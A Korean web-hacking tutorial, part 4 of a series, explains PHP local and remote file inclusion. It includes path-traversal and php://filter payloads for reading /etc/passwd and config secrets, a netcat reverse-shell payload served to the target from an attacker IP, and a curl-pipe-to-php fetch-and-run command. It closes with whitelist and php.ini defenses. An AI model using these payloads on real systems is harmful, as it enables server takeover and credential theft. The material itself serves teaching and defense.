[웹 해킹 #4] 파일 인클루전 취약점 LFI / RFI 완벽 정리 - include() 한 줄로 시작되는 공격

무슨 글일까요?
이전 글(#3)에서 리버스 쉘의 원리를 봤습니다. 그런데 마지막에 질문을 남겼습니다.
"그 페이로드를 어떻게 타겟이 실행하게 만드느냐"는 것이었죠. 이번 글에서 다루는 파일 삽입 취약점이 그 고전적인 답 중 하나입니다.
PHP로 만든 웹사이트를 돌아다니다 보면 이런 URL을 자주 봅니다.
https://example.com/index.php?page=about
https://example.com/index.php?page=contactpage라는 파라미터로 보여 줄 페이지를 고르는 구조입니다. 별것 아닌 듯한 이 패턴이, 코드를 어떻게 짰느냐에 따라 서버 전체를 내주는 통로가 됩니다.
어쩌다 이런 일이 벌어지는지 따라가 봅시다.
범인은 include() 입니다
위 URL 뒤에서 서버는 십중팔구 이런 코드를 돌리고 있습니다.
<?php
$page = $_GET['page'];
include($page . ".php"); // 사용자 입력을 그대로 include
?>include() 는 지정한 파일을 가져와 그 자리에서 PHP 코드로 해석·실행하는 함수입니다.
여기까지는 정상적인 기능입니다. 문제는 $_GET['page'] 즉, 사용자가 URL로 넘긴 값을 아무 검증 없이 그 안에 넣는다는 점입니다.
개발자의 의도는 "page 값으로 about.php 나 contact.php 를 보여 주자"였을 겁니다.
하지만 공격자는 page 값에 전혀 다른 걸 넣을 수 있습니다. 바로 여기서 두 갈래의 공격이 갈라집니다.
구분 | LFI (Local File Inclusion) | RFI (Remote File Inclusion) |
|---|---|---|
가져오는 대상 | 서버 내부의 파일 | 외부(공격자 서버)의 파일 |
예시 | ?page=../../../etc/passwd | ?page=http://공격자IP/shell.txt |
성립 조건 | 대체로 기본 가능 | allow_url_include=On 필요 |
현재 유효성 | 여전히 유효 | 대부분 차단됨 |
LFI - 서버 안을 들여다보기
가장 기본적인 LFI는 경로 조작(Path Traversal)으로 서버의 민감한 파일을 읽는 것입니다.
https://example.com/index.php?page=../../../../etc/passwd../ 를 반복해 상위 디렉터리로 거슬러 올라가 리눅스 계정 정보 파일인 /etc/passwd 에 도달합니다.
코드에서 뒤에 .php 가 붙는 게 걸림돌인데, 이걸 우회하는 변형 기법들이 있습니다. 그중 입문자가 꼭 알아야 할 것이 PHP Wrapper입니다.
# php://filter 로 소스코드 자체를 base64로 빼내기 (지금도 유효)
?page=php://filter/convert.base64-encode/resource=config이게 흥미로운 이유는, 단순히 /etc/passwd 를 읽는 걸 넘어 애플리케이션의 소스코드를 통째로 훔쳐 볼 수 있기 때문입니다.
config.php 안에 든 DB 비밀번호 같은 게 base64로 인코딩되어 나옵니다. 소스코드를 손에 넣으면 다른 취약점을 찾기가 훨씬 쉬워지죠.
RFI - 외부 코드를 끌어와 실행시키기
LFI가 "서버 안의 것을 읽는다"라면, RFI는 한 단계 더 나아가 공격자 서버에 있는 코드를 타겟이 가져와 실행하게 만듭니다.
바로 이 지점이 이전글(#3)에서 만든 리버스 쉘과 연결됩니다.
전제 조건
php.ini 에 다음 두 설정이 켜져 있어야 합니다.
allow_url_fopen = On
allow_url_include = On1단계 - 공격자 서버에 페이로드를 .txt로 준비
여기서 입문자가 반드시 짚고 넘어가야 할 질문이 있습니다. 왜 .php 가 아니라 .txt 로 저장할까요?
만약 공격자 서버(
10.10.14.5)에 reverse.php 로 저장해 두면, 타겟이 가져가기도 전에 공격자 자신의 PHP 엔진이 그 코드를 먼저 실행해 버립니다.우리가 원하는 건 코드의 '알맹이(소스)'를 타겟에게 그대로 전달해서 타겟 쪽에서 실행시키는 것이죠.
그래서 공격자 쪽에서는 실행되지 않는 무해한 텍스트( .txt )로 위장해 대기시켜 둡니다.
이 한 끗을 이해하느냐가 RFI를 진짜 이해했는지 가르는 지점입니다.
<?php
// 공격자 서버에 reverse.txt 로 저장
passthru("nc -e /bin/sh 10.10.14.5 8080");
?>2단계 - 공격자 측에 리스너 + 웹서버 가동
# 리버스 쉘을 받을 리스너 (터미널 1)
nc -vv -l -p 8080
# reverse.txt 를 호스팅할 간이 웹서버 (터미널 2)
python3 -m http.server 803단계 - 타겟이 외부 파일을 include 하도록 유도
https://example.com/index.php?page=http://10.10.14.5/reverse.txt타겟 서버가 이 URL을 include 하는 순간, 공격자의 reverse.txt 내용을 가져와 타겟 서버에서 PHP로 실행하고,
이전글(#3)에서 준비한 리스너로 쉘이 넘어옵니다. 이전글(#1~#3)의 흐름이 여기서 하나로 이어지는 셈입니다.
변형 - 이미 명령 실행이 가능한 경우
웹쉘 등으로 이미 명령을 실행할 수 있다면, 외부 파일을 이렇게 바로 끌어와 실행할 수도 있습니다.
curl http://10.10.14.5/reverse.txt | php잠깐, 이 RFI 기법 요즘도 통하나요?
여기서 솔직하게 짚고 넘어가야 합니다. 결론부터 말하면 RFI는 현대 환경에서 대부분 막혀 있습니다.
allow_url_include 는 PHP 5.2 버전(2000년대 후반)부터 기본값이 Off로 고정되었습니다.
따라서 관리자가 일부러 이 설정을 켜 두지 않는 이상, 위의 RFI는 동작하지 않습니다. 인터넷에 떠도는 수많은 RFI 튜토리얼이 막상 실습하면 안 되는 이유가 이것입니다.
반면 LFI는 여전히 유효한 경우가 많습니다. 경로 조작으로 설정 파일·로그·소스코드를 읽고, 이를 다른 취약점과 엮는 공격은 지금도 실전에서 쓰입니다.
특히 위에서 본 php://filter 같은 래퍼를 더 정교하게 연결한 PHP filter chain 기법은 LFI를 RFI 없이도 원격 코드 실행까지 끌어올려,
CTF에서 단골로 등장합니다. 이 filter chain 기법을 제대로 파고들고 싶다면 HackTricks에 원리와 실전 페이로드가 가장 잘 정리되어 있으니 이 글을 보면 좋습니다. [HackTricks — LFI2RCE via PHP Filters] 이 "예전엔 됐지만 지금은 막힌" 기법들을 2026년 기준으로 한 번에 정리하는 글이 바로 다음 편(#5)입니다.
방어 - 근본은 결국 '입력을 믿지 마라'
공격을 따라왔으니 방어는 명확합니다. 모든 문제가 "사용자 입력을 include 에 그대로 넣은 것"에서 출발했으니, 거기를 막으면 됩니다.
사용자 입력을 include/require 에 직접 넣지 않습니다. 가장 근본적인 해결책입니다.
꼭 동적 include가 필요하면 화이트리스트로만 허용합니다.
<?php
$allowed = ['about', 'contact', 'help'];
$page = $_GET['page'];
if (in_array($page, $allowed)) {
include($page . ".php");
} else {
include("404.php");
}
?>허용된 값 목록에 있을 때만 include하므로, ../../../etc/passwd 나 외부 URL은 애초에 통과하지 못합니다.
php.ini에서allow_url_include = Off,allow_url_fopen = Off를 확인합니다. RFI의 문을 닫습니다.basename()으로 경로 구분자를 제거하고, open_basedir 로 접근 가능한 디렉터리를 제한합니다. LFI의 경로 조작을 막습니다.
정리
[취약 코드] include($_GET['page'] . ".php")
↓
[LFI] ?page=php://filter/... → 소스코드·민감 파일 유출 (지금도 유효)
[RFI] ?page=http://공격자IP/... → 외부 코드 실행 (대부분 차단됨)
↓
[방어] 화이트리스트 + allow_url_include Off + open_basedir지금까지 #1 정보 수집부터 #2 파일 업로드, #3 리버스 쉘, #4 파일 삽입까지 고전적인 웹 해킹의 큰 줄기를 한 흐름으로 따라왔습니다.
흩어져 보이던 기법들이 사실은 "정보를 모으고 → 발판을 만들고 → 안정적 쉘을 얻고 → 그 쉘을 어떻게 심느냐"로 이어지는 한 편의 이야기였던 셈입니다.
그런데 이 내용 상당수는 솔직히 10년 전 교과서 기준입니다. 마지막 글에서는 이 모든 걸 2026년 현재 기준으로 다시 점검하겠습니다.
무엇이 살아남았고, 무엇이 죽었으며, 지금 진짜 중요한 건 무엇인지를요.
이전 글 → [웹 해킹 #3] 리버스 쉘 다음 글 → [웹 해킹 #5] 2026년 기준 업데이트
읽어보면 좋을 추천 글
[OWASP WSTG — Testing for Local File Inclusion] OWASP의 웹 보안 테스트 가이드 중 LFI 항목입니다.
침투 테스터가 실제로 LFI를 어떻게 식별하고 검증하는지 체계적인 절차로 정리되어 있습니다.
[PHP 매뉴얼 — include / allow_url_include] 모든 문제의 출발점인 include() 함수의 공식 문서입니다. 이 함수가 정확히 어떻게 동작하는지,
그리고 allow_url_include (https://www.php.net/manual/en/filesystem.configuration.php) 설정이 RFI에 어떤 영향을 주는지 1차 출처로 확인하세요.
[Synacktiv — PHP filters chain: What is it and how to use it] 본문 마지막에 언급한 "LFI를 RCE로 끌어올리는" filter chain 기법을 처음 정리한 원문입니다. iconv 인코딩 변환을 어떻게 연쇄해서 임의 PHP 코드를 만들어 내는지 그 원리를 가장 깊이 있게 설명합니다.
CTF를 준비한다면 꼭 읽어야 합니다. (영문 페이지가 무거우면 같은 내용을 정리한 HackTricks의 'LFI2RCE via PHP Filters' 문서도 참고할 수 있습니다.)
[synacktiv/php_filter_chain_generator] 위 filter chain 기법을 자동으로 페이로드로 만들어 주는 도구입니다.
파일 업로드 없이 include 파라미터만 통제할 수 있으면 RCE를 얻게 해 줍니다.